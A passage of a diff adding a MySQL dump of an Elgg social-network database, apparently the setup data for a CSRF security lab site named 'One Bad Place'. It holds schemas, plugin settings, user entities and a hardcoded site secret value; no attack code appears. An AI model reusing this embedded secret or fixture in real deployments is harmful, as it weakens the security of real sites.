+CREATE TABLE `elgg_access_collection_membership` ( + `user_guid` int(11) NOT NULL, + `access_collection_id` int(11) NOT NULL, + PRIMARY KEY (`user_guid`,`access_collection_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collection_membership` +-- + +LOCK TABLES `elgg_access_collection_membership` WRITE; +/*!40000 ALTER TABLE `elgg_access_collection_membership` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collection_membership` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_access_collections` +-- + +DROP TABLE IF EXISTS `elgg_access_collections`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_access_collections` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `name` text NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`) +) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collections` +-- + +LOCK TABLES `elgg_access_collections` WRITE; +/*!40000 ALTER TABLE `elgg_access_collections` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collections` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_annotations` +-- + +DROP TABLE IF EXISTS `elgg_annotations`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_annotations` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_annotations` +-- + +LOCK TABLES `elgg_annotations` WRITE; +/*!40000 ALTER TABLE `elgg_annotations` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_annotations` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_api_users` +-- + +DROP TABLE IF EXISTS `elgg_api_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_api_users` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `site_guid` bigint(20) unsigned DEFAULT NULL, + `api_key` varchar(40) DEFAULT NULL, + `secret` varchar(40) NOT NULL, + `active` int(1) DEFAULT '1', + PRIMARY KEY (`id`), + UNIQUE KEY `api_key` (`api_key`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_api_users` +-- + +LOCK TABLES `elgg_api_users` WRITE; +/*!40000 ALTER TABLE `elgg_api_users` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_api_users` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_config` +-- + +DROP TABLE IF EXISTS `elgg_config`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_config` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + `site_guid` int(11) NOT NULL, + PRIMARY KEY (`name`,`site_guid`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_config` +-- + +LOCK TABLES `elgg_config` WRITE; +/*!40000 ALTER TABLE `elgg_config` DISABLE KEYS */; +INSERT INTO `elgg_config` VALUES ('view','s:7:\"default\";',1),('language','s:2:\"en\";',1),('default_access','s:1:\"2\";',1),('allow_registration','b:1;',1),('walled_garden','b:0;',1),('allow_user_default_access','s:0:\"\";',1); +/*!40000 ALTER TABLE `elgg_config` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_datalists` +-- + +DROP TABLE IF EXISTS `elgg_datalists`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_datalists` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`name`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_datalists` +-- + +LOCK TABLES `elgg_datalists` WRITE; +/*!40000 ALTER TABLE `elgg_datalists` DISABLE KEYS */; +INSERT INTO `elgg_datalists` VALUES ('filestore_run_once','1510271617'),('plugin_run_once','1510271617'),('elgg_widget_run_once','1510271617'),('installed','1510271899'),('path','/var/www/csrflabelgg.com/elgg/'),('dataroot','/var/run/elgg_data/'),('default_site','1'),('version','2014012000'),('simplecache_enabled','1'),('system_cache_enabled','1'),('processed_upgrades','a:45:{i:0;s:14:\"2008100701.php\";i:1;s:14:\"2008101303.php\";i:2;s:14:\"2009022701.php\";i:3;s:14:\"2009041701.php\";i:4;s:14:\"2009070101.php\";i:5;s:14:\"2009102801.php\";i:6;s:14:\"2010010501.php\";i:7;s:14:\"2010033101.php\";i:8;s:14:\"2010040201.php\";i:9;s:14:\"2010052601.php\";i:10;s:14:\"2010060101.php\";i:11;s:14:\"2010060401.php\";i:12;s:14:\"2010061501.php\";i:13;s:14:\"2010062301.php\";i:14;s:14:\"2010062302.php\";i:15;s:14:\"2010070301.php\";i:16;s:14:\"2010071001.php\";i:17;s:14:\"2010071002.php\";i:18;s:14:\"2010111501.php\";i:19;s:14:\"2010121601.php\";i:20;s:14:\"2010121602.php\";i:21;s:14:\"2010121701.php\";i:22;s:14:\"2010123101.php\";i:23;s:14:\"2011010101.php\";i:24;s:61:\"2011021800-1.8_svn-goodbye_walled_garden-083121a656d06894.php\";i:25;s:61:\"2011022000-1.8_svn-custom_profile_fields-390ac967b0bb5665.php\";i:26;s:60:\"2011030700-1.8_svn-blog_status_metadata-4645225d7b440876.php\";i:27;s:51:\"2011031300-1.8_svn-twitter_api-12b832a5a7a3e1bd.php\";i:28;s:57:\"2011031600-1.8_svn-datalist_grows_up-0b8aec5a55cc1e1c.php\";i:29;s:61:\"2011032000-1.8_svn-widgets_arent_plugins-61836261fa280a5c.php\";i:30;s:59:\"2011032200-1.8_svn-admins_like_widgets-7f19d2783c1680d3.php\";i:31;s:14:\"2011052801.php\";i:32;s:60:\"2011061200-1.8b1-sites_need_a_site_guid-6d9dcbf46c0826cc.php\";i:33;s:62:\"2011092500-1.8.0.1-forum_reply_river_view-5758ce8d86ac56ce.php\";i:34;s:54:\"2011123100-1.8.2-fix_friend_river-b17e7ff8345c2269.php\";i:35;s:53:\"2011123101-1.8.2-fix_blog_status-b14c2a0e7b9e7d55.php\";i:36;s:50:\"2012012000-1.8.3-ip_in_syslog-87fe0f068cf62428.php\";i:37;s:50:\"2012012100-1.8.3-system_cache-93100e7d55a24a11.php\";i:38;s:59:\"2012041800-1.8.3-dont_filter_passwords-c0ca4a18b38ae2bc.php\";i:39;s:58:\"2012041801-1.8.3-multiple_user_tokens-852225f7fd89f6c5.php\";i:40;s:59:\"2013030600-1.8.13-update_user_location-8999eb8bf1bdd9a3.php\";i:41;s:62:\"2013051700-1.8.15-add_missing_group_index-52a63a3a3ffaced2.php\";i:42;s:53:\"2013052900-1.8.15-ipv6_in_syslog-f5c2cc0196e9e731.php\";i:43;s:50:\"2013060900-1.8.15-site_secret-404fc165cf9e0ac9.php\";i:44;s:50:\"2014012000-1.8.18-remember_me-9a8a433685cf7be9.php\";}'),('admin_registered','1'),('simplecache_lastupdate_default','1510272992'),('simplecache_lastcached_default','1510272992'),('__site_secret__','zYJc_b-KOEi0aOIvpfSb89tEtMdrEYZc'),('simplecache_lastupdate_failsafe','0'),('simplecache_lastcached_failsafe','0'),('simplecache_lastupdate_foaf','0'),('simplecache_lastcached_foaf','0'),('simplecache_lastupdate_ical','0'),('simplecache_lastcached_ical','0'),('simplecache_lastupdate_installation','0'),('simplecache_lastcached_installation','0'),('simplecache_lastupdate_json','0'),('simplecache_lastcached_json','0'),('simplecache_lastupdate_opendd','0'),('simplecache_lastcached_opendd','0'),('simplecache_lastupdate_php','0'),('simplecache_lastcached_php','0'),('simplecache_lastupdate_rss','0'),('simplecache_lastcached_rss','0'),('simplecache_lastupdate_xml','0'),('simplecache_lastcached_xml','0'); +/*!40000 ALTER TABLE `elgg_datalists` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entities` +-- + +DROP TABLE IF EXISTS `elgg_entities`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entities` ( + `guid` bigint(20) unsigned NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` int(11) DEFAULT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `container_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `time_updated` int(11) NOT NULL, + `last_action` int(11) NOT NULL DEFAULT '0', + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`guid`), + KEY `type` (`type`), + KEY `subtype` (`subtype`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`), + KEY `container_guid` (`container_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `time_updated` (`time_updated`) +) ENGINE=MyISAM AUTO_INCREMENT=43 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entities` +-- + +LOCK TABLES `elgg_entities` WRITE; +/*!40000 ALTER TABLE `elgg_entities` DISABLE KEYS */; +INSERT INTO `elgg_entities` VALUES (1,'site',0,0,1,0,2,1510271899,1510271899,1510271899,'yes'),(2,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(3,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(4,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(5,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(6,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(7,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(8,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(9,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(10,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(11,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(12,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(13,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(14,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(15,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(16,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(17,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(18,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(19,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(20,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(21,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(22,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(23,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(24,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(25,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(26,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(27,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(28,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(29,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(30,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(31,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(32,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(33,'user',0,0,1,0,2,1510271931,1510272591,1510271931,'yes'),(34,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(35,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(36,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(37,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(38,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(39,'user',0,0,1,0,2,1510272666,1510272666,1510272666,'yes'),(40,'user',0,0,1,0,2,1510272705,1510272705,1510272705,'yes'),(41,'user',0,0,1,0,2,1510272744,1510272744,1510272744,'yes'),(42,'user',0,0,1,0,2,1510272762,1510272762,1510272762,'yes'); +/*!40000 ALTER TABLE `elgg_entities` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_relationships` +-- + +DROP TABLE IF EXISTS `elgg_entity_relationships`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_relationships` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `guid_one` bigint(20) unsigned NOT NULL, + `relationship` varchar(50) NOT NULL, + `guid_two` bigint(20) unsigned NOT NULL, + `time_created` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `guid_one` (`guid_one`,`relationship`,`guid_two`), + KEY `relationship` (`relationship`), + KEY `guid_two` (`guid_two`) +) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_relationships` +-- + +LOCK TABLES `elgg_entity_relationships` WRITE; +/*!40000 ALTER TABLE `elgg_entity_relationships` DISABLE KEYS */; +INSERT INTO `elgg_entity_relationships` VALUES (1,2,'active_plugin',1,1510271899),(2,3,'active_plugin',1,1510271899),(3,11,'active_plugin',1,1510271899),(4,12,'active_plugin',1,1510271899),(5,13,'active_plugin',1,1510271899),(7,15,'active_plugin',1,1510271899),(8,16,'active_plugin',1,1510271899),(9,17,'active_plugin',1,1510271899),(10,18,'active_plugin',1,1510271899),(11,19,'active_plugin',1,1510271899),(12,20,'active_plugin',1,1510271899),(13,21,'active_plugin',1,1510271899),(14,22,'active_plugin',1,1510271899),(15,23,'active_plugin',1,1510271899),(16,24,'active_plugin',1,1510271899),(17,25,'active_plugin',1,1510271899),(18,26,'active_plugin',1,1510271899),(19,28,'active_plugin',1,1510271899),(20,29,'active_plugin',1,1510271899),(21,31,'active_plugin',1,1510271899),(22,32,'active_plugin',1,1510271899),(23,33,'member_of_site',1,1510271931),(24,39,'member_of_site',1,1510272666),(25,40,'member_of_site',1,1510272705),(26,41,'member_of_site',1,1510272744),(27,42,'member_of_site',1,1510272762); +/*!40000 ALTER TABLE `elgg_entity_relationships` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_subtypes` +-- + +DROP TABLE IF EXISTS `elgg_entity_subtypes`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_subtypes` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` varchar(50) NOT NULL, + `class` varchar(50) NOT NULL DEFAULT '', + PRIMARY KEY (`id`), + UNIQUE KEY `type` (`type`,`subtype`) +) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_subtypes` +-- + +LOCK TABLES `elgg_entity_subtypes` WRITE; +/*!40000 ALTER TABLE `elgg_entity_subtypes` DISABLE KEYS */; +INSERT INTO `elgg_entity_subtypes` VALUES (1,'object','file','ElggFile'),(2,'object','plugin','ElggPlugin'),(3,'object','widget','ElggWidget'),(4,'object','blog','ElggBlog'),(5,'object','thewire','ElggWire'); +/*!40000 ALTER TABLE `elgg_entity_subtypes` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_geocode_cache` +-- + +DROP TABLE IF EXISTS `elgg_geocode_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_geocode_cache` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `location` varchar(128) DEFAULT NULL, + `lat` varchar(20) DEFAULT NULL, + `long` varchar(20) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `location` (`location`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_geocode_cache` +-- + +LOCK TABLES `elgg_geocode_cache` WRITE; +/*!40000 ALTER TABLE `elgg_geocode_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_geocode_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_groups_entity` +-- + +DROP TABLE IF EXISTS `elgg_groups_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_groups_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + KEY `name` (`name`(50)), + KEY `description` (`description`(50)), + FULLTEXT KEY `name_2` (`name`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_groups_entity` +-- + +LOCK TABLES `elgg_groups_entity` WRITE; +/*!40000 ALTER TABLE `elgg_groups_entity` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_groups_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_hmac_cache` +-- + +DROP TABLE IF EXISTS `elgg_hmac_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_hmac_cache` ( + `hmac` varchar(255) NOT NULL, + `ts` int(11) NOT NULL, + PRIMARY KEY (`hmac`), + KEY `ts` (`ts`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_hmac_cache` +-- + +LOCK TABLES `elgg_hmac_cache` WRITE; +/*!40000 ALTER TABLE `elgg_hmac_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_hmac_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metadata` +-- + +DROP TABLE IF EXISTS `elgg_metadata`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metadata` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metadata` +-- + +LOCK TABLES `elgg_metadata` WRITE; +/*!40000 ALTER TABLE `elgg_metadata` DISABLE KEYS */; +INSERT INTO `elgg_metadata` VALUES (1,1,1,2,'text',0,2,1510271899,'yes'),(2,33,3,4,'text',33,2,1510271931,'yes'),(3,33,5,4,'text',0,2,1510271931,'yes'),(4,33,6,7,'text',0,2,1510271931,'yes'),(5,39,3,4,'text',39,2,1510272666,'yes'),(6,39,8,4,'text',39,2,1510272666,'yes'),(7,39,9,10,'integer',39,2,1510272666,'yes'),(8,40,3,4,'text',40,2,1510272705,'yes'),(9,40,8,4,'text',40,2,1510272705,'yes'),(10,40,9,10,'integer',40,2,1510272705,'yes'),(11,41,3,4,'text',41,2,1510272744,'yes'),(12,41,8,4,'text',41,2,1510272744,'yes'),(13,41,9,10,'integer',41,2,1510272744,'yes'),(14,42,3,4,'text',42,2,1510272762,'yes'),(15,42,8,4,'text',42,2,1510272762,'yes'),(16,42,9,10,'integer',42,2,1510272762,'yes'); +/*!40000 ALTER TABLE `elgg_metadata` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metastrings` +-- + +DROP TABLE IF EXISTS `elgg_metastrings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metastrings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `string` text NOT NULL, + PRIMARY KEY (`id`), + KEY `string` (`string`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metastrings` +-- + +LOCK TABLES `elgg_metastrings` WRITE; +/*!40000 ALTER TABLE `elgg_metastrings` DISABLE KEYS */; +INSERT INTO `elgg_metastrings` VALUES (1,'email'),(2,'me@you.com'),(3,'notification:method:email'),(4,'1'),(5,'validated'),(6,'validated_method'),(7,'admin_user'),(8,'admin_created'),(9,'created_by_guid'),(10,'33'); +/*!40000 ALTER TABLE `elgg_metastrings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_objects_entity` +-- + +DROP TABLE IF EXISTS `elgg_objects_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_objects_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `title` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + FULLTEXT KEY `title` (`title`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_objects_entity` +-- + +LOCK TABLES `elgg_objects_entity` WRITE; +/*!40000 ALTER TABLE `elgg_objects_entity` DISABLE KEYS */; +INSERT INTO `elgg_objects_entity` VALUES (2,'blog',''),(3,'bookmarks',''),(4,'categories',''),(5,'custom_index',''),(6,'dashboard',''),(7,'developers',''),(8,'diagnostics',''),(9,'embed',''),(10,'externalpages',''),(11,'file',''),(12,'garbagecollector',''),(13,'groups',''),(14,'htmlawed',''),(15,'invitefriends',''),(16,'likes',''),(17,'logbrowser',''),(18,'logrotate',''),(19,'members',''),(20,'messageboard',''),(21,'messages',''),(22,'notifications',''),(23,'pages',''),(24,'profile',''),(25,'reportedcontent',''),(26,'search',''),(27,'tagcloud',''),(28,'thewire',''),(29,'tinymce',''),(30,'twitter_api',''),(31,'uservalidationbyemail',''),(32,'zaudio',''),(34,'',''),(35,'',''),(36,'',''),(37,'',''),(38,'',''); +/*!40000 ALTER TABLE `elgg_objects_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_private_settings` +-- + +DROP TABLE IF EXISTS `elgg_private_settings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_private_settings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` int(11) NOT NULL, + `name` varchar(128) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `entity_guid` (`entity_guid`,`name`), + KEY `name` (`name`), + KEY `value` (`value`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=55 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_private_settings` +-- + +LOCK TABLES `elgg_private_settings` WRITE; +/*!40000 ALTER TABLE `elgg_private_settings` DISABLE KEYS */; +INSERT INTO `elgg_private_settings` VALUES (1,2,'elgg:internal:priority','1'),(2,3,'elgg:internal:priority','2'),(3,4,'elgg:internal:priority','3'),(4,5,'elgg:internal:priority','4'),(5,6,'elgg:internal:priority','5'),(6,7,'elgg:internal:priority','6'),(7,8,'elgg:internal:priority','7'),(8,9,'elgg:internal:priority','8'),(9,10,'elgg:internal:priority','9'),(10,11,'elgg:internal:priority','10'),(11,12,'elgg:internal:priority','11'),(12,13,'elgg:internal:priority','12'),(13,14,'elgg:internal:priority','13'),(14,15,'elgg:internal:priority','14'),(15,16,'elgg:internal:priority','15'),(16,17,'elgg:internal:priority','16'),(17,18,'elgg:internal:priority','17'),(18,19,'elgg:internal:priority','18'),(19,20,'elgg:internal:priority','19'),(20,21,'elgg:internal:priority','20'),(21,22,'elgg:internal:priority','21'),(22,23,'elgg:internal:priority','22'),(23,24,'elgg:internal:priority','23'),(24,25,'elgg:internal:priority','24'),(25,26,'elgg:internal:priority','25'),(26,27,'elgg:internal:priority','26'),(27,28,'elgg:internal:priority','27'),(28,29,'elgg:internal:priority','28'),(29,30,'elgg:internal:priority','29'),(30,31,'elgg:internal:priority','30'),(31,32,'elgg:internal:priority','31'),(32,34,'handler','control_panel'),(33,34,'context','admin'),(34,34,'column','1'),(35,34,'order','0'),(36,35,'handler','admin_welcome'),(37,35,'context','admin'),(38,35,'order','10'),(39,35,'column','1'),(40,36,'handler','online_users'),(41,36,'context','admin'),(42,36,'column','2'),(43,36,'order','0'),(44,37,'handler','new_users'),(45,37,'context','admin'),(46,37,'order','10'),(47,37,'column','2'),(48,38,'handler','content_stats'),(49,38,'context','admin'),(50,38,'order','20'),(51,38,'column','2'),(52,36,'num_display','8'),(53,37,'num_display','5'),(54,38,'num_display','8'); +/*!40000 ALTER TABLE `elgg_private_settings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_river` +-- + +DROP TABLE IF EXISTS `elgg_river`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_river` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` varchar(8) NOT NULL, + `subtype` varchar(32) NOT NULL, + `action_type` varchar(32) NOT NULL, + `access_id` int(11) NOT NULL, + `view` text NOT NULL, + `subject_guid` int(11) NOT NULL, + `object_guid` int(11) NOT NULL, + `annotation_id` int(11) NOT NULL, + `posted` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `type` (`type`), + KEY `action_type` (`action_type`), + KEY `access_id` (`access_id`), + KEY `subject_guid` (`subject_guid`), + KEY `object_guid` (`object_guid`), + KEY `annotation_id` (`annotation_id`), + KEY `posted` (`posted`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_river` +-- + +LOCK TABLES `elgg_river` WRITE; +/*!40000 ALTER TABLE `elgg_river` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_river` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_sites_entity` +-- + +DROP TABLE IF EXISTS `elgg_sites_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_sites_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + `url` varchar(255) NOT NULL, + PRIMARY KEY (`guid`), + UNIQUE KEY `url` (`url`), + FULLTEXT KEY `name` (`name`,`description`,`url`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_sites_entity` +-- + +LOCK TABLES `elgg_sites_entity` WRITE; +/*!40000 ALTER TABLE `elgg_sites_entity` DISABLE KEYS */; +INSERT INTO `elgg_sites_entity` VALUES (1,'One Bad Place','','http://csrflabelgg.com/'); +/*!40000 ALTER TABLE `elgg_sites_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_system_log` +-- + +DROP TABLE IF EXISTS `elgg_system_log`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_system_log` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `object_id` int(11) NOT NULL, + `object_class` varchar(50) NOT NULL, + `object_type` varchar(50) NOT NULL, + `object_subtype` varchar(50) NOT NULL, + `event` varchar(50) NOT NULL, + `performed_by_guid` int(11) NOT NULL, + `owner_guid` int(11) NOT NULL, + `access_id` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + `time_created` int(11) NOT NULL, + `ip_address` varchar(46) NOT NULL, + PRIMARY KEY (`id`), + KEY `object_id` (`object_id`), + KEY `object_class` (`object_class`), + KEY 